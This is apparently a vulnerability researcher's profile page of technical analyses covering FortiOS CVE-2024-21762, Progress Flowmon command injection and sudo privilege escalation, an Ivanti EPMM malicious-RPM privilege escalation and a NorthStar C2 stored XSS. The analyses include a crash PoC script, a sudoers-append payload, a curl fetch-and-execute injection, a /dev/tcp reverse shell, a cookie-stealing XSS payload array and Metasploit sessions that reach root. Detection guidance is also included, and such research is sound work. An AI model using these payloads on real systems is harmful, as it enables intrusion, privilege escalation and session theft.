jheysel-r7 (136)

Last Login: June 26, 2024

jheysel-r7's Latest (20) Contributions

Sort by:
Filter by:
  • Attacker Value
  • Exploitability
    Very Low
Technical Analysis

Attacker Value & Exploitability

CVE-2024-21762 is a memory corruption vulnerability that affects a very wide range of FortiNet Firewalls. However it is difficult to exploit and is likely that every affected version will require its own unique offsets, ROP chain etc. in order to be exploited successfully. Patching should be prioritized as these devices sit on the edge of the network however widespread exploitation across all versions is quite unlikely. Due to these factors I’d say the attacker value is a 3/5 as financially motivated sophisticated threat actors could still benefit from this exploit although the exploitability I would say is quite low, 1/5, given the complexities that come along with a memory corruption vulnerability such as this one.

Technical Analysis

FortiOS and FortiProxy with the SSL VPN feature enabled (which is not enabled by default) are vulnerable to an out-of-bound write vulnerability which can allow an unauthenticated attacker to execute arbitrary code by sending specially crafted HTTP requests. The affected versions are:

Version Affected Solution
FortiOS 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiOS 7.2 7.2.0 through 7.2.6 Upgrade to 7.2.7 or above
FortiOS 7.0 7.0.0 through 7.0.13 Upgrade to 7.0.14 or above
FortiOS 6.4 6.4.0 through 6.4.14 Upgrade to 6.4.15 or above
FortiOS 6.2 6.2.0 through 6.2.15 Upgrade to 6.2.16 or above
FortiOS 6.0 6.0.0 through 6.0.17 Upgrade to 6.0.18 or above
FortiProxy 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiProxy 7.2 7.2.0 through 7.2.8 Upgrade to 7.2.9 or above
FortiProxy 7.0 7.0.0 through 7.0.14 Upgrade to 7.0.15 or above
FortiProxy 2.0 2.0.0 through 2.0.13 Upgrade to 2.0.14 or above
FortiProxy 1.2 1.2 all versions Migrate to a fixed release
FortiProxy 1.1 1.1 all versions Migrate to a fixed release
FortiProxy 1.0 1.0 all versions Migrate to a fixed release

The vulnerability stems from how the request body is parsed when the header Transfer-Encoding: Chunked is set. The vulnerability in itself is quite limited – all it allows for is the ability to write two bytes (\r\n) out of bounds onto the stack. Since all you have to work with is two bytes which have to be 0a0d achieving RCE by directly hijacking rip is not an option and so one must focus on the memory pointers saved on the stack.

Below is a simple PoC which can be used to trigger the vulnerability and cause a segmentation fault:

import socket
import ssl

def create_ssock(hostname, port):
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        ssock = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=hostname)
        ssock.connect((hostname, port))
        return ssock
    except Exception as e:
        print(f"Error creating secure socket: {e}")
        return None

hostname = ''  # Replace with your target hostname
port = 443  # Replace with your target port if different

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
if ssock:
    response = ssock.recv(4096)
    print("Failed to create a secure socket.")

The above crash PoC will result in the following segmentation fault:

We can see that the stack pointer has been overwritten by our two bytes 0x0a0d. Turning this seemingly harmless out of bounds write into RCE is no easy process.

By decompiling the binaries of the SSL VPN you can see that a certain function of interest saves the values of r13 and a few other registers on the stack and restores them when the function returns. r13 is of particular interest because it holds a structure pointer to a structure called a1 which happens to hold an address on the heap.

The goal here is to spray the heap with our desired payload. Then trigger the out of bounds write vulnerability when the heap address is stored in r13 such that the low byte of the a1 pointer is overwritten and if all goes to plan, will point to the pre-arranged memory as the shown below:

With this we could reliably redirect the r13 pointer to a buffer we control. Now we just have to fill the buffer with our payload and we should have remote code execution.

Once the above is successfully set up and the memory pointed to is controllable the hard part is done. Normally at this point you would use the system function to execute commands. However in FortiGate this is not an option – the system function cannot be used as the system function runs /bin/sh and the /bin/sh binary on the FortiGate device is a custom application which only runs a few commands.

So if we look back to a previous FortiGate vulnerability from last year CVE-2023-27997 (a similar memory corruption vulnerability in the SSL VPN component) and a number of others FortiGate exploits, they often overwrite a function pointer in an SSL struct which can be triggered by a call to SSL_do_handshake.

Since SSL_do_handshake is dynamically linked we can call it ourselves. We control the first argument and just have to create an SSL struct with the function pointer where we need it.

Once the struct is set up we can load an address from our buffer and now we have direct execution to an arbitrary address. Now all that’s left to do is to construct a ROP chain that will set up and call execl with the same Node.js reverse shell as the last FortiGate exploit. Lucky for exploit devs the FortiGate main program is an all in one binary with a size of over 70MB which provides a plethora of gadgets which can be used.

There is a lot more that goes into ensuring that this process is successful and if you’re interested in exactly how it works I would suggest reading the following wonderfully written blog post.

Technical Analysis

Progress Flowmon is a network performance monitoring and security solution developed by Progress Software. It is designed to provide detailed visibility into network traffic and performance, helping organizations to monitor, analyze, and secure their networks effectively.

In Flowmon versions prior to 11.1.14 and 12.3.5, an OS command injection vulnerability exists allowing unauthenticated users to execute code in the context of the flowmon user. The vulnerable endpoint which is accessible without authentication is /service.pdfs/confluence. This endpoint is used to generate PDFs for the application and accepts three parameters when targeted with a GET request.

The parameters that the GET request expects, as seen below, are lang, file and pluginPath.

The pluginPath parameter doesn’t get sanitized and then gets used to build a $url path:

The unsanitized $url string gets sent to the $pdfGenerator->generate() method. This method eventually calls the run($command) method inside /var/www/app/flowmon/models/Exec.php which is a wrapper for running system commands which attempts to generate the PDF with the supplied parameters.

See how it only sends one $command argument to the run function? This is the crux of the vulnerability which we will explore further in a moment.

A couple things to note here. First, the ironic function definition which states Should prevent cli injection

What’s interesting is that if this function was used in the way it was intended, the pluginPath parameter likely wouldn’t be exploitable. The run function accepts a second parameter which is an array of command arguments which are enclosed in quotes using the escapeshellarg() function which does indeed prevent cli injection.

However, the vulnerability exists because when the command is passed to the run function, it is passed as a long string into the first $command parameter and does not make use of the $command_args array which gets sanitized. Due to this it’s possible to escape the command using: $(<aribitrary command here>) which allows you to execute commands in the context of the flowmon user.

Priv Escalation pairing list

What better to complement a command injection exploit than a privilege escalation technique which was left unpatched by the vendor.

The flowmon user on affected devices are allowed to run a long list of commands with sudo privileges. Below is an excerpt, run sudo -l to see the full list:

    (root) NOPASSWD: /usr/sbin/lshw
    (root) NOPASSWD: /opt/MegaRAID/MegaCli/MegaCli64
    (root) NOPASSWD: /etc/invea-tech/hanic/hanic-flowmon
    (root) NOPASSWD: /sbin/ip route
    (root) NOPASSWD: /usr/local/bin/remote_storage
    (root) NOPASSWD: /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *
    (root) NOPASSWD: /etc/plugins/*/* *
    (root) NOPASSWD: /usr/bin/net-snmp-config *
    (root) NOPASSWD: /sbin/ip6tables
    (root) NOPASSWD: /etc/init.d/fmd-widget-data
    (root) NOPASSWD: /usr/sbin/SHC/self-health-checker.sh

The command we’re interested in exploiting is:

/usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *

Simply because we have write access to the file index.php which will get executed by /usr/bin/php with root privileges.

ls -l  /var/www/shtml/index.php
-rw-r--r-- 1 flowmon flowmon 1447 Jun 19 20:27 /var/www/shtml/index.php

What we can do is first back up the file index.php. Then overwrite it with a payload which gives unlimited sudo access to the flowmon user by appending the following to the sudoers file.

echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;

Then using the command mentioned above, run our payload which we overwrote to index.php.

sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;

Now we can drop whatever exploit we wish on to the target and run it with sudo:

sudo ./exploit_file.sh


By default there is logging in place which will log each exploit attempt of the command injection vulnerability CVE-2024-2389
In the /var/www/log folder the exec-ui.log logs when a PDF is attempted to be generated and you can see below the $url parameter is injected with our payload from the metasploit module.

Payload in log line:

https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&

Full log line:

./exec-ui.log:{"level":"info","requestId":"66677cd095e9a","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-06-11 00:23:41.038700","depth":1,"message":"Exec::run 'node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_1uwPuy5q.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\"'","context":{"output":["2024-06-10T22:23:39.088Z - try to launch chromium","2024-06-10T22:23:39.547Z - Chromium is launched.","2024-06-10T22:23:39.548Z - Chromium open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print","2024-06-10T22:23:40.992Z - Chromium cannot open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print.","Error log: Status of page is: 404","","Added to log file."],"ret":3,"command_args":[],"duration":"27069.765 ms"},"utime":1718058221.038748,"memory":2,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/models\/Exec.php","line":95}}

Also the process_logger.log log file will also contain similar traces of exploitation attempts as seen below:

./process_logger.log:{"level":"debug","requestId":"66571e8fbb307","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-05-29 14:24:48.631800","depth":1,"message":"Command","context":["node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/zLxWJANP http:\/\/\/Eprv7SVWQHIInVrWn0A4hg; chmod +x .\/zLxWJANP; .\/zLxWJANP &)\/locale\/0s8IAXCf\/index.html?file=eCGyQX4r.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_eCGyQX4r.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\""],"utime":1716985488.6317589,"memory":12,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/ServiceModule\/PdfsModule\/models\/PdfGenerator.php","line":91}}

As for the privilege escalation vuln, it is a bit more difficult to determine if it has been exploited. The process_logger.log log file does indicate when the vulnerable sudo command gets called Cli\\:AddNewSource s but because we overwrite the index.php file in order to exploit this vuln, in the logs there’s no way of telling if this call to CliPresenter.php was malicious.

./process_logger.log:{"level":"info","requestId":"66677b9e439c1","requestName":"CLI - Cli:AddNewSource","timestamp":"2024-06-11 00:18:06.284900","depth":0,"message":"Cli:AddNewSource started","context":{"isDaEnabled":false,"isProxy":false,"isAssigned":false,"parameters":{"module":":","action":"AddNewSource"}},"utime":1718057886.2848589,"memory":18,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/presenters\/CliPresenter.php","line":768}}

When the metasploit module exploits the priv esc it:

  1. Over writes /var/www/shtml/index.php
  2. Edits /etc/sudoers
  3. Drops a payload to disk

It creates a number of IoCs but it cleans them all up. In the event a malicious attacker exploits the priv esc in a similar fashion without using the metasploit and fails to clean up after themselves there would be some very obvious signs of exploitation. One being that if you fail to restore index.php (the page that you get redirected to immediately when navigating to the Progress Flomon’s HTTP server) you will be greeted by a page containing part of the exploit:

Attacker Value and Exploitability

It’s been some time since I gave a 5/5 for both attacker value and exploitability – though this exploit seems well deserving of both those ratings. I feel the attacker value is only heightened by the fact that the vendor decided not to acknowledge/ patch the priv esc. Both vulns are trivial to exploit and are exploitable without authentication. This one is a doozy, patching is recommended asap

Metasploit modules in action

Command injection

msf6 exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options

Module options (exploit/linux/http/progress_flowmon_unauth_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PRIVESC    true             yes       Automatically try privesc to add sudo entry
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS  yes       The target host(s), see https://docs.metasploit.com/docs/using-meta sploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path to Flowmon
   VHOST                       no        HTTP server virtual host

Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
                                                  , WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      TkHAXYbQwlH      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain space
   LHOST        yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/flowmon_unauth_cmd_injection) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if can be exploited!
[*] Detected version: 12.02.06
[+] The target is vulnerable. Version 12.02.06 is vulnerable.
[*] Attempting to execute payload...
[*] Meterpreter session 1 opened ( -> at 2024-05-01 15:22:24 +0000

meterpreter > sysinfo
Computer     : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: flowmon

Privilege Escalation

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l

Active sessions

  Id  Name  Type                   Information                                  Connection
  --  ----  ----                   -----------                                  ----------
  5         meterpreter x64/linux  flowmon @ localhost.localdomain.localdomain -> (

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options

Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION       -1               yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST     yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened ( -> at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >



Technical Analysis

Ivanti EPMM (previously known as MobileIron Core) is vulnerable to a local privilege escalation vulnerability. The install command accessible from the MobileIron CORE CLI or Ivanti EPMM CLI allows privileged CLI users to install .rpm packages. Affected versions are versions prior to,, and

The install command fails to enforce signature verification or URL filtering of any sort when installing rpm from url allowing an attacker to host a malicious rpm package and have their victim download and install it with root privileges.

There exists an install binary on the on the affected appliance – please note that it is unrelated to the install command accessible from the CLI which is vulnerable to the priv esc:

which install
install --help
Usage: install [OPTION]... [-T] SOURCE DEST
  or:  install [OPTION]... SOURCE... DIRECTORY
  or:  install [OPTION]... -t DIRECTORY SOURCE...
  or:  install [OPTION]... -d DIRECTORY...

This install program copies files (often just compiled) into destination
locations you choose.  If you want to download and install a ready-to-use
package on a GNU/Linux system, you should instead be using a package manager
like yum(1) or apt-get(1).

To access the vulnerable command, one must first gain CLI access via SSH or physical access

➜ ssh msfuser@
msfuser@'s password:
Last login: Mon Jun  3 14:12:12 2024 from
*                   MobileIron CORE CLI                    *
*                                                          *
*                                                          *
Welcome msfuser it is Mon Jun 3 15:00:14 UTC 2024

  enable      Turn on privileged commands
  exit        Exit from the EXEC
  help        Description of the interactive help system
  host        Query Internet name servers
  logout      Exit from the EXEC
  ping        Send echo messages
  show        Show running system information
  speedtest   Performs speed test for disk memory and cpu
  timeout     CLI Idle timeout.
  traceroute  Trace route to destination

Then turn on privileged commands with enable followed by the correct Admin CLI password:

CORE(> enable

  rpm  Gets the rpm and install. choose any from: cdrom file info url

CORE( rpm

  cdrom  Gets the rpm and install from cdrom
  file   Get and show the rpm(s) from the given file path and installs
  info   Gets list of rpms installed
  url    Gets the rpm and install from the given url

As outlined by securekomodo in the following blog post the CLI command install is really just a wrapper for the command:

/bin/rpm -Uvh *.rpm

Which will get run as root, allowing an attacker to host a malicious RPM package, install it and successfully escalate privileges.

Example PoC

Create a postinstall.sh script that will run as root after the .rpm package gets installed. Include your payload.

msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ cat postinstall.sh
bash -i >& /dev/tcp/ 0>&1
exit 0

Create the malicious .rpm package using the Ruby gem fpm:

msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ fpm -s dir -t rpm -n test-poc -v 2.0 -a i386 --description "MobileIron Reverse Shell" --maintainer "msfuser" --after-install postinstall.sh -C .
Created package {:path=>"test-poc-2.0-1.i386.rpm"}

Host the .rpm package via a Python HTTP server:

msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo python3 -m http.server 80
[sudo] password for msfuser:
Serving HTTP on port 80 ( ...

Start a nc listener on our attacking machine:

msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo nc -l 443
[sudo] password for msfuser:

As previously demonstrated SSH to the vulnerable appliance or physically access theMobile Iron Core / Ivanti EPMM CLI and type enable followed by the Admin password in order to enable privileged commands. Once successfully authenticated use the vulnerable command to download and install the .rpm in the context of the root user.

CORE( rpm url
--2024-06-03 16:04:48--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 49796 (49K) [application/x-redhat-package-manager]
Saving to: 'test-poc-2.0-1.i386.rpm'

100%[====================================================================================================================================================================================================================>] 49,796      --.-K/s   in 0.001s

2024-06-03 16:04:48 (32.7 MB/s) - 'test-poc-2.0-1.i386.rpm' saved [49796/49796]

Preparing...                          ################################# [100%]
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   469  100   469    0     0   279k      0 --:--:-- --:--:-- --:--:--  458k
Updating / installing...
   1:test-poc-2.0-1                   ################################# [100%]

Check the nc listener and see that we’ve received a shell running in the context of the root user.

msfuser@msfuser-virtual-machine:~/CVE-2024-22026$ sudo nc -l 443
[sudo] password for msfuser:
[root@lobster.example.com 2024-06-03--16-30-57 / #] id
uid=0(root) gid=0(root) groups=0(root)
[root@lobster.example.com 2024-06-03--16-42-52 / #] uname -a
uname -a
Linux lobster.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

To reset the target in order to retest, simply remove the package you just installed with:

CORE( install rpm test-poc-2.0-1.i386
Uninstalled  ivanti-privesc-13.37-1.i386 successfully.


Unprivileged users can query logs from the Mobile Iron / Ivanti EPMM CLI. One way users can check for IoCs in by issuing the following command:

CORE(> show log messages
--log 'messages' --

The above command will allow the user to access /var/log/messages via the CLI. The below isn’t indicative of a successful exploit attempt, the following log lines will be present on a device where the user has installed malicious or trusted RPM packages using the CLI.

Jun  3 16:51:51 lobster installTools: Command: /bin/rpm -Uvh *.rpm successful
Jun  3 16:51:51 lobster installTools: Command: /bin/ls *.rpm  >> /mi/files/installedTools successful
Jun  3 16:51:52 lobster installTools: Command: /bin/rm * >& /dev/null successful
Jun  3 16:51:52 lobster installTools: Command: popd >& /dev/null successful
Jun  3 16:51:52 lobster installTools: RPM downloaded and installed successfully

Interestingly enough, it doesn’t seem this command completes successfully, despite it saying that it does. There is no reference to our malicious .rpm file in the file /mi/files/installedTools

Jun  3 16:51:51 lobster installTools: Command: /bin/ls *.rpm  >> /mi/files/installedTools successful

It gets created but is zero bytes:

[root@lobster.example.com 2024-06-03--17-31-48 files #] ls -l /mi/files/installedTools
ls -l /mi/files/installedTools
-rw-r--r-- 1 root root 0 Jun  3 17:27 /mi/files/installedTools

Also one can look at the current processes for tell tale signs of successful exploitation by running:

[root@lobster.example.com 2024-06-03--17-35-43 files #] ps aux
ps aux
root      63342  0.0  0.0 137500  5536 pts/0    S    17:27   0:00 /usr/bin/sudo /mi/bin/installTools url
root      63345  0.0  0.0   9700  1584 pts/0    S    17:27   0:00 /bin/bash /mi/bin/installTools url
root      63407  0.0  0.1  78976 10308 pts/0    S    17:27   0:00 /bin/rpm -Uvh test-poc-2.0-1.i386.rpm
root      63408  0.0  0.0   9564  1124 pts/0    S    17:27   0:00 /bin/sh /var/tmp/rpm-tmp.D6MXUG 1
root      63409  0.0  0.0 116004  2684 pts/0    S    17:27   0:00 bash -i

We can see that processes that were spawned in order to download and install our malicious rpm are still running.
If we get the PID from the reverse shell we confirm 63409 in the above is our reverse shell and the sink of our exploit.

[root@lobster.example.com 2024-06-03--17-37-12 files #] echo "My PID is $$"
echo "My PID is $$"
My PID is 63409

If we run the following we can get a bit more detail of the context of the root process spawned when this is exploited:

[root@lobster.example.com 2024-06-03--17-58-29 var #] ps auxe | grep 63409
ps auxe | grep 63409
root      63409  0.0  0.0 116004  2704 pts/0    S    17:27   0:00 bash -i XDG_SESSION_ID=2903 MI_DATE_FORMAT=%Y-%m-%d--%H-%M-%S TERM=xterm-256color SHELL=/bin/bash MI_DATE_COMMAND=date +%Y-%m-%d--%H-%M-%S USER=root SUDO_USER=msfuser SUDO_UID=2002 USERNAME=root RPM_INSTALL_PREFIX0=/ MAIL=/var/mail/root PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin _=/bin/bash PWD=/ JAVA_HOME=/usr/java/default HOME=/root SUDO_COMMAND=/mi/bin/installTools url SHLVL=2 RPM_INSTALL_PREFIX=/ LOGNAME=root SUDO_GID=1001

Attacker Value and Exploitability Rating

I gave this vulnerability an attacker rating of 1/5 mainly due to the fact authentication to the CLI is required as well as the CLI Admin password in order to enable privileged commands to access the vulnerable command install.

Once the necessary credentials are obtained exploitation is straightforward: host the malicious package for the victim to download and install, then profit. However the need for such high credentials makes this vulnerability difficult to exploit in the real world.

Technical Analysis

NorthStarC2 is an open source web based command and control framework used by real world threat actors including UNC3890, APT33 and Patchwork/APT-Q-36 to name a few. NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored XSS. An unauthenticated user can simulate an agent registration to cause the XSS and take over a user’s session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent.

Obtaining Unauthenticated Stored XSS

A route exists such that a portion of an unauthenticated request would be persistently reflected on the admin web panel without sanitization, allowing for stored XSS. Before delving into the exploitation details, let’s understand the NorthStar C2 stager registration flow. The docs state:

The stager registration process consists of 2 phases;

First phase:

NorthStar Stager sends an unique id value to login.php with HTTP POST method. This value is XORed with a hard-coded key and is in base64 format.
The C2 Server decrypts this value and checks if the unique id starts with a “N”, ends with a “q” and is less than 20 characters.If everything checks out, the value is registered into the C2 database.
A second XOR key, which will be used for communications, is transferred from NorthStar C2 Server to NorthStar Stager.
NorthStar Stager receives and registers the XOR key.

The registration routes mentioned above are accessible prior to authentication (which is by the design). According to the docs, some checks are conducted to determine a valid ID, but there is no mention of any additional sanitation. The implementation of these checks in the code can be examined inside the following file:


The agent ID (or the $_POST['sid'] parameter in the above code which is saved to the $str variable) has no real strict sanitization. The agent ID is checked to ensure the first character is N, the last character is q and that the length is less than 20 – these loosely made checks can be exploited.

Tracing the path of this parameter to its sink leads us to the login.php file, where the checksid.php file is included and the $str variable is used. Notice how there is no further sanitization performed here:


The updateLogs function inserts the $str parameter (which is now called $logClient) directly into the database:


Now in order to exploit this stored XSS vulnerability we must determine where the database is queried and what page displays the information we’re able to store in the database.

The file logs.php queries the database and displays the unfiltered output directly to the webpage:
The agentID (in this case logClient) can be seen being echoed to the page without sanitization:


If there was no length limitation on the agentID parameter, we would be able to send the following payload:


and obtain stored XSS with ease. However the above payload is 26 characters and will not be accepted by the application.

So, in order to work around this limitation, javascript comments can be used to connect multiple, shorter payloads. Because the newest logs appear at the top of the table, the last part of the payload is sent first.

For example, in order to create the 26 character stored XSS payload mentioned above, the following three payload can be sent in this order, remembering that they all need to start with N, end with q and be less than 20 characters:

Payload #1:


Payload #2:


Payload #3:


The payload will appear like so in the DOM:


and voila, stored XSS can be achieved.

Stealing Cookies

Requests to the NorthStarC2 web application are authenticated by the PHPSESSID cookie. By using the stored XSS vulnerability outlined above, we can exfiltrate the PHPSESSID cookie value of an admin user back to the attacker machine. With that cookie in our possession we can take control of all the agents connected to the NorthStarC2 application and run arbitrary commands on all agents connected to the NorthStarC2 application.

This is an array of payloads (in the specific reverse order such that they get echoed to the page in the correct order) that can send to the application in order to steal the PHPSESSID cookie:

sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]

This is how it will appear once echoed to the DOM of the logs page:

N</td><script>/*qN*/var d=/*qN*/document;/*qN*/var c=/*qN*/d.cookie;/*qN*/var a=/*qfN*/'{h1}';/*qN*/var b=/*qfN*/'{h2}';/*qN*/var h=/*qN*/a+b;/*qN*/var p=/*qfN*/':{port}';/*qN*/var s=/*qfN*/'{protocol}';/*qN*/var u=/*qN*/s+h+p+'/'+c;/*qN*/var i=/*qN*/new Image;/*qN*/i.src=u/*qN*/</script><q

And this is the actual javascript code in readable form, without the comments and the q’s and the N’s required by the sanitization:

var d=document;
var c=d.cookie;
var a='{h1}';
var b='{h2}';
var h=a+b;
var p=':{port}';
var s='{protocol}';
var u=s+h+p+'/'+c;
var i=new Image;

Once the cookie has been obtained, attackers can use it to interact with the web panel as an authenticated user, which gives them the ability to execute arbitrary commands on all the agents.

Required User Interaction

Note that the javascript payload will only get run once an authenticated user navigates to the logs.php page. The logs.php page does refresh itself periodically so if an operator already has the logs page open it might fire without someone directly opening it, in that specific scenario.


If you’re running an instance of NorthStar C2, prior to commit 7674a44 on March 11 2024 and you’d like to see if you’ve been affected, one way would be to connect to the database that was configured to be used by the application (depending on how your database is setup the command to connect could be similar to sudo mysql -u root -p ) and run select * from logs; once using the specific database.

Below is a screenshot of an affected host. Notice how in the logClient column in rows 1 through 13 appear to be normal but then rows 14 through 34 all appear to include N*/<javascript code>/*q. This is where the attacker has stored, the Stored XSS and is the very code used to steal the admin session cookie and exfiltrate it to themselves.

On an affected system, it is likely that the affected database rows would still be there as this attack gives the attacker control over the agents connected to the host and not to the host itself which is running the database in question. So it would be non-trivial for the attacker to erase these footsteps in this scenario.

Metasploit Module Demo

Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to NorthstarC2 installed on Ubuntu 22.04. Both the host and agent running on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options

Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            no        Kill the NorthStar C2 agent
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST     yes       The local host or network interface to listen on. This must be an address on the local machine or to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the NorthStar C2 Application
   URIPATH    /                no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KNBXoiAeeq       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST     no        Local IP to use for serving payload
   FETCH_SRVPORT       9090             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST          yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

